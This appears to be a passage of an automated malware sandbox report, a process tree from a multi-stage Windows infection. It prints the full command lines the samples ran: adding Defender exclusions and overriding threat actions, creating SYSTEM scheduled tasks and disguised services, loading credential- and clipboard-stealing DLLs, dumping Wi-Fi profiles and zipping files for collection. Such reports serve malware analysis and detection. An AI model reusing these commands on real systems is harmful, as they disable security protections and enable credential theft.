                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                      9⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:4468
                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                        10⤵
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:4436
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 04:37:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSA325.tmp\Install.exe\" it /UOudidDiEb 385118 /S" /V1 /F
                                                                                  7⤵
                                                                                  • Drops file in Windows directory
                                                                                  • Creates scheduled task(s)
                                                                                  PID:5908
                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                                                  7⤵
                                                                                    PID:1752
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                      8⤵
                                                                                        PID:4932
                                                                                        • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                          schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                          9⤵
                                                                                            PID:1040
                                                                                  • C:\Users\Admin\Pictures\wuaWAGTYgreiQGrzh43Kunft.exe
                                                                                    "C:\Users\Admin\Pictures\wuaWAGTYgreiQGrzh43Kunft.exe"
                                                                                    5⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:5904
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCB5E.tmp\Install.exe
                                                                                      .\Install.exe /ThYFdiduvbI "385118" /S
                                                                                      6⤵
                                                                                      • Checks BIOS information in registry
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Enumerates system info in registry
                                                                                      PID:5572
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                        7⤵
                                                                                          PID:5344
                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                            8⤵
                                                                                              PID:5400
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                9⤵
                                                                                                  PID:2020
                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                    10⤵
                                                                                                      PID:5848
                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                  forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                  8⤵
                                                                                                    PID:3404
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                      9⤵
                                                                                                        PID:6204
                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                          10⤵
                                                                                                            PID:6836
                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                        8⤵
                                                                                                          PID:6636
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                            9⤵
                                                                                                              PID:1384
                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                10⤵
                                                                                                                  PID:6292
                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                              8⤵
                                                                                                                PID:6720
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                  9⤵
                                                                                                                    PID:7052
                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                      10⤵
                                                                                                                        PID:1348
                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                    8⤵
                                                                                                                      PID:7016
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                        9⤵
                                                                                                                          PID:6316
                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                            10⤵
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            PID:4280
                                                                                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                              11⤵
                                                                                                                                PID:6560
                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                                                        7⤵
                                                                                                                          PID:6656
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                            8⤵
                                                                                                                              PID:6828
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                9⤵
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                PID:7056
                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                  10⤵
                                                                                                                                    PID:6840
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 04:37:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSCB5E.tmp\Install.exe\" it /jMFdidGbsQ 385118 /S" /V1 /F
                                                                                                                              7⤵
                                                                                                                              • Drops file in Windows directory
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:3192
                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                                                                                              7⤵
                                                                                                                                PID:3992
                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  8⤵
                                                                                                                                    PID:5240
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                                                    8⤵
                                                                                                                                      PID:5416
                                                                                                                                      • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                                                        9⤵
                                                                                                                                          PID:6748
                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
                                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
                                                                                                                                4⤵
                                                                                                                                  PID:220
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000079001\gold.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\1000079001\gold.exe"
                                                                                                                                3⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                PID:2684
                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                  4⤵
                                                                                                                                    PID:4760
                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
                                                                                                                                  3⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  PID:3564
                                                                                                                                  • C:\Windows\system32\rundll32.exe
                                                                                                                                    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
                                                                                                                                    4⤵
                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    PID:4292
                                                                                                                                    • C:\Windows\system32\netsh.exe
                                                                                                                                      netsh wlan show profiles
                                                                                                                                      5⤵
                                                                                                                                        PID:4864
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\775195409080_Desktop.zip' -CompressionLevel Optimal
                                                                                                                                        5⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:1476
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\1000080001\alexxxxxxxx.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\1000080001\alexxxxxxxx.exe"
                                                                                                                                    3⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                    PID:5884
                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                      4⤵
                                                                                                                                      • Checks computer location settings
                                                                                                                                      PID:5936
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
                                                                                                                                        "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
                                                                                                                                        5⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:5280
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
                                                                                                                                        "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
                                                                                                                                        5⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:5332
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
                                                                                                                                        5⤵
                                                                                                                                          PID:748
                                                                                                                                          • C:\Windows\SysWOW64\choice.exe
                                                                                                                                            choice /C Y /N /D Y /T 3
                                                                                                                                            6⤵
                                                                                                                                              PID:5492
                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 360
                                                                                                                                          4⤵
                                                                                                                                          • Program crash
                                                                                                                                          PID:6068
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000081001\install.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\1000081001\install.exe"
                                                                                                                                        3⤵
                                                                                                                                        • Checks computer location settings
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                        PID:6016
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
                                                                                                                                          4⤵
                                                                                                                                            PID:5648
                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                              Sc stop GameServerClient
                                                                                                                                              5⤵
                                                                                                                                              • Launches sc.exe
                                                                                                                                              PID:4384
                                                                                                                                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                              GameService remove GameServerClient confirm
                                                                                                                                              5⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5272
                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                              Sc delete GameSyncLink
                                                                                                                                              5⤵
                                                                                                                                              • Launches sc.exe
                                                                                                                                              PID:4068
                                                                                                                                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                              GameService remove GameSyncLink confirm
                                                                                                                                              5⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:3504
                                                                                                                                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                              GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                                                                                                                              5⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:3396
                                                                                                                                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                              GameService start GameSyncLink
                                                                                                                                              5⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:6868
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
                                                                                                                                            4⤵
                                                                                                                                              PID:5920
                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                5⤵
                                                                                                                                                  PID:3404
                                                                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                  Sc stop GameServerClientC
                                                                                                                                                  5⤵
                                                                                                                                                  • Launches sc.exe
                                                                                                                                                  PID:6000
                                                                                                                                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                  GameService remove GameServerClientC confirm
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:5848
                                                                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                  Sc delete PiercingNetLink
                                                                                                                                                  5⤵
                                                                                                                                                  • Launches sc.exe
                                                                                                                                                  PID:388
                                                                                                                                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                  GameService remove PiercingNetLink confirm
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:3776
                                                                                                                                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                  GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                                                                                                                                  5⤵
                                                                                                                                                    PID:2208
                                                                                                                                                  • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                    GameService start PiercingNetLink
                                                                                                                                                    5⤵
                                                                                                                                                      PID:224
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                                                                                                                                                    4⤵
                                                                                                                                                      PID:6124
                                                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                        Sc delete GameSyncLinks
                                                                                                                                                        5⤵
                                                                                                                                                        • Launches sc.exe
                                                                                                                                                        PID:836
                                                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                        GameService remove GameSyncLinks confirm
                                                                                                                                                        5⤵
                                                                                                                                                          PID:1336
                                                                                                                                                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                          GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                                                                                                                                          5⤵
                                                                                                                                                            PID:6208
                                                                                                                                                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                            GameService start GameSyncLinks
                                                                                                                                                            5⤵
                                                                                                                                                              PID:5516
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                                                                                                                                                            4⤵
                                                                                                                                                              PID:6668
                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                            "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
                                                                                                                                                            3⤵
                                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                            PID:5924
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe"
                                                                                                                                                            3⤵
                                                                                                                                                            • Checks computer location settings
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            PID:5564
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe" /F
                                                                                                                                                              4⤵
                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                              PID:6008
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3396 -ip 3396
                                                                                                                                                        1⤵
                                                                                                                                                          PID:4384
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                          1⤵
                                                                                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Identifies Wine through registry keys
                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                          PID:2036
                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4280 -ip 4280
                                                                                                                                                          1⤵
                                                                                                                                                            PID:5684
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5884 -ip 5884
                                                                                                                                                            1⤵
                                                                                                                                                              PID:5976
                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                              1⤵
                                                                                                                                                                PID:5728
                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:5988
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4656 -ip 4656
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:788
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSA325.tmp\Install.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSA325.tmp\Install.exe it /UOudidDiEb 385118 /S
                                                                                                                                                                    1⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                    PID:3744
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:2020
                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:6812
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:6980
                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:6644
                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:6836
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:6096
                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                        5⤵
                                                                                                                                                                                          PID:6732
                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:6244
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:5972
                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                              5⤵
                                                                                                                                                                                                PID:7044
                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:6656
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:668
                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                      PID:1036
                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:5620
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:224
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                          PID:2872
                                                                                                                                                                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                              PID:6688
                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
